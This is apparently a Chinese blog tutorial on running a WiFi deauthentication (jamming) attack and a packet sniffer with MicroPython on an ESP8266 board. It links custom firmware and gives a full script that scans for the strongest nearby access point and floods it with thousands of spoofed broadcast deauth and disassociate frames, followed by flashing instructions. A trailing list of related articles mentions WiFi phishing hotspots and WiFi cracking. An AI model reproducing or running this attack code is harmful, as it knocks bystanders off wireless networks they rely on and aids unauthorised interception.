MicroPython实现wifi干扰与抓包
0×00前言
之前做的WIFI攻击实验都是基于arduino环境开发的,最近想尝试一下使用micropython完成deautch(解除认证)攻击。本次开发板使用的还是TPYBoardv202。
0×01实现原理
a) 通过查阅资料和arduino的源码分析,了解到实现攻击其实就是发送IEEE802.11协议解除认证包,根据MAC层帧格式发送自定义的虚假deautch数据包。
b) 调用ESP8266SDK中wifi_send_pkt_freedom函数,发送攻击包。
0×02攻击构思
a) 程序一开始扫描附件的AP。
b) 找到信号最强的AP,获取到他的MAC地址(bssid)和信道。
c) 将TPYBoardv202切换到同攻击AP相同的信道。
d) 使用攻击AP的MAC地址,组合deauth解除认证包发送。
0×03编译烧写固件及程序源码
1、 编译固件
现有的micropython-esp8266固件中,并没有引出wifi_send_pkt_freedom函数,于是
我自己动手编译了一次固件,地址:
https://github.com/PakchoiFood/micropython-deauth
大家可以自行下载烧写使用,如果有的小伙伴想自己编译修改固件的话,请参考:
https://github.com/micropython/micropython/tree/master/esp8266
需要注意:在编译esp8266-sdk时,注意版本必须是1.3.0版本,否则wifi_send_pkt_freedom函数会一直返回-1失败。
下载后解压,文件如下:
firmware.bin文件:micropython-esp8266生成的固件。
增加的内容:
setAttack函数
参数:int类型(信道)
功能:设置esp8266的信道
send_pkt_freedom函数
参数:bytes数组(定义的数据包)
flash_download_tools_v3.3.6_win.rar:烧写固件的工具。
MicroPythonFileUploader.rar:用于将程序下载到TPYBoardv202Flash的工具。
main.py文件:程序源码文件,主要实现附件AP的扫描、数据包的组合和调用发送。
import time import uos import wireless sta_if=wireless.attack(0)#0:STA 模式 sta_if.active(True) ap_list=sta_if.scan() print(ap_list) ssid='' bssid=''#bssid:AP MAC address channel=''#信道 _client=[0xFF,0xFF,0xFF,0xFF,0xFF,0xFF]#默认 def deauth(_ap,_client,type,reason):
# 0 - 1 type, subtype c0:
deauth (a0: disassociate)
# 2 - 3 duration (SDK takes
care of that)
# 4 - 9 reciever (target)
# 10 - 15 source (ap)
# 16 - 21 BSSID (ap)
# 22 - 23 fragment & squence number
# 24 - 25 reason code (1 = unspecified reason)
packet=bytearray([0xC0,0x00,0x00,0x00,0xBB,0xBB,0xBB,0xBB,0xBB,0xBB,0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0x00,
0x00,0x01, 0x00])
for i in range(0,6):
packet[4 + i] =_client[i]
packet[10 + i] = packet[16 + i] =_ap[i]
#set type
packet[0] = type;
packet[24] = reason
result=sta_if.send_pkt_freedom(packet)
if result==0:
time.sleep_ms(1)
return True
else:
return False if __name__=="__main__":
max_rssid=0
max_id=0
num=0
#获取信号最强的AP 进行攻击
for i in ap_list:
if max_rssid==0: max_rssid=i[3]#rssid
else: if i[3]>max_rssid: max_rssid=i[3] max_id=num
num+=1
ssid=ap_list[max_id][0]
bssid=ap_list[max_id][1]
channel=ap_list[max_id][2]
print('ssid:',ssid,'-bssid:',bssid)
print('-channel:',channel,'-rssid:',max_rssid)
sendNum=5000#攻击次数
print('******************************')
if sta_if.setAttack(channel):
print('Set Attack OK')
time.sleep_ms(100)
print('---deauth runing-----')
for i in range(0,sendNum): r_=deauth(bssid, _client, 0xC0,
0x01) if r_: deauth(bssid, _client, 0xA0,
0x01) deauth(_client, bssid, 0xC0,
0x01) deauth(_client, bssid, 0xA0,
0x01) time.sleep_ms(5) else: print('---deauth fail-------') time.sleep_ms(5000)
sniffer文件夹下的main.py实现网络抓包功能。
import wireless import time #可以指定信道1~13
sniffer=wireless.sniffer(6) #0:表示从信道1开始 定时切换信道 #sniffer=wireless.sniffer(0)
烧写固件
1、 TPYBoardv202使用microUSB数据线接入电脑。查看安装的usb转串的端口。打开电脑的设备管理器(这里是COM57)。
2、 解压flash_download_tools_v3.3.6_win.rar,双击运行ESPFlashDownloadTool_v3.3.6.exe。
3、选择firmware.bin固件文件,地址0×00000,其他参数根据下图设置。我的COM选择COM57,根据自己的实际端口选择,波特率选择115200。
4、点击【START】,界面提示等待上电同步。按住板子上的FLASH键不松,同时按一下RST键复位上电。左侧空白区显示读取的MAC地址,状态显示下载中,此时松开按键即可。
5、等待下载完毕,关闭软件退出。
下载程序
6、解压MicroPythonFileUploader.rar,双击运行MicroPythonFileUploader.exe。
此软件需要.NETFramework4.2及以上版本,若打开失败,请安装.NETFramework后再使用。
.NETFramework4.5下载地址:http://www.tpyboard.com/download/drive/174.html
7、选择COM57,点击【Open】打开串口。
8、点击右侧的文件夹图标的按钮,选择main.py文件。
9、此时可以点击【Send】,将程序发送给TPYBoardv202。发送成功后,程序自动运行。
10、接下来将sniffer下的main.py同样的是方式下载到板子里。(文件会覆盖)
打开串口助手,就可以看到esp8266抓包的数据。
MicroPython实现wifi干扰与抓包的更多相关文章
- 笔记本设置wifi热点并抓包
现在很多人喜欢蹭wifi热点,这里演示一下怎么利用笔记本设置wifi热点来钓鱼.本机是win10操作系统. 一.设置笔记wifi热点:右键点击右下角网络图标 -> 打开“网络和Internet设 ...
- Mac下抓包
Wireshark针对UNIX Like系统的GUI发行版界面采用的是X Window(1987年更改X版本到X11).Mac OS X在Mountain Lion之后放弃X11,取而代之的是开源的X ...
- Mac OS X上使用Wireshark抓包
Wireshark针对UNIX Like系统的GUI发行版界面采用的是X Window(1987年更改X版本到X11).Mac OS X在Mountain Lion之后放弃X11,取而代之的是开源的X ...
- Android抓包方法(三)之Win7笔记本Wifi热点+WireShark工具
Android抓包方法(三) 之Win7笔记本Wifi热点+WireShark工具 前言 做前端测试,基本要求会抓包,会分析请求数据包,查看接口是否调用正确,数据返回是否正确,问题产生是定位根本原因等 ...
- Android通过tcpdump抓包(wifi, 2g, 3g都可以)
http://blog.csdn.net/deng529828/article/details/20646197 1. 手机要有root权限 2. 下载tcpdump http://www.str ...
- iOS Paros 连接在同一WIFI下的网络抓包
图文详解: 说说网络抓包,几天前的事了,想抓个包看看 某爱网(全名自己脑补)的数据,就上网找了一下抓包,以前经常抓接口,时间长了忘了.那时候也不是用苹果手机抓取的,前几天试着抓了一下,今天不适合敲代码 ...
- 前段时间碰到的一些问题(免费WiFi设置+fiddler对手机进行抓包+fiddler抓不到https的请求)
这段时间转入移动端测试,对这块比较陌生,工作开展起来比较困难,所以好多东西都只是以解决问题为第一目标,没有去细细推敲其中原理,可能会有些语无伦次之感,但还是记一下当时解决问题的大致思路,供以后参考. ...
- Airmon-ng抓包&破解wifi
安装 aircrack获取(aircrack源) sudo apt-get install aircrack-ng 配置 安装组件 sudo apt-get install build-essent ...
- 随身Wifi+win7 搭建http代理 域名劫持 抓包 内容篡改实验环境
需求来源: 1.平板或手机是个封闭系统无法给wifi设置代理 2.需要利用filllder进行抓包,内容篡改等实验 拥有硬件资源:PC机器 + 小米随身wifi 方案1: NtBind Dns + N ...
随机推荐
- 中国版 Office 365 (X-Tenant / Tango) 功能验证报告 - 1 简介
花了点时间做了一次Office 365 X-Tenant的 POC,对过程做了记录和总结,在这里会陆续分享: (一) 简介 这次POC的系统环境是模拟一个公司的生产环境: 1. 公司总部在国外,拥有 ...
- leetcode_378. Kth Smallest Element in a Sorted Matrix_堆的应用
Given a n x n matrix where each of the rows and columns are sorted in ascending order, find the kth ...
- linux查看内核版本和发行版本号
1.查看Linux内核版本号:1.1 uname -r #查看当前linux系统的内核版本号显示举例:2.6.21-1.3194.fc71.2 uname -a #可以查看包括内核版本号.机器硬件信息 ...
- 手机信号强度单位:dBm 和 asu
介绍 首先明确:dBm 和 asu 是两个独立的单位,它们的换算关系不唯一. 在 2G 网络下:dBm = -113+2*asu在 4G 网络下:dBm = -140+asu dBm 和 asu 都用 ...
- 一个圆的移动 AE教程 速度曲线调节
AE里面速度的曲线调节 最终的小效果 两个关键点: 一:速度曲线调节 编辑速度图标,他的曲线是编辑速度的. 二:节点不要用贝塞尔曲线 编辑值图标,就是圆圈的x值y值的曲线.控制位置移动的. 选择一个节 ...
- 将Jar安装到本地仓库和Jar上传到私服
举例 1. 依赖如下: <dependency> <groupId>org.quartz-scheduler.internal</groupId> <arti ...
- JAVA学习笔记16——控制线程
Java的线程支持提供了一些便捷的工具方法,通过这些便捷的工具方法可以很好地控制线程执行. join线程 Thread提供了让一个线程等待另一个线程完成的方法——join().当在某个线程执行流中 ...
- oracle学习链接
http://www.cnblogs.com/huyong/category/646939.html
- UIWebView中javascript与Objective-C交互、获取摄像头
UIWebView是iOS开发中常用的一个视图控件,多数情况下,它被用来显示HTML格式的内容. 支持的文档格式 除了HTML以外,UIWebView还支持iWork, Office等文档格式: Ex ...
- react-native Android WARNING: API 'variant.getMergeAssets()' is obsolete and has been replaced with 'variant.getMergeAssetsProvider()'.
android Studio 中打开react-native项目的android文件夹 在sync的过程中 发生warning: WARNING: API 'variant.getMergeAsset ...